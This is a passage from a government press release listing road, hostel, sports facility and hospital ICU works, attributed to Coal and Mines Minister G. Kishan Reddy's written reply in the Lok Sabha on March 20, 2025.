    • Construction of Cement concrete road with pavement, culverts, etc.
    • Strengthening and widening of existing roads.
    • Re-carpeting of PWD Road.
    • Construction of Hostels.
    • Construction of Badminton Court, Tennis Court, etc.
    • Addition of ICU Unit at Hospital.
    • Construction/Modernisation of Sport Complex.

    This information was given by Union Minister of Coal and Mines Shri G. Kishan Reddy in a written reply in Lok Sabha today.

    ****

    Shuhaib T

    (Release ID: 2112724) Visitor Counter : 46

    MIL OSI Asia Pacific News –

    March 20, 2025
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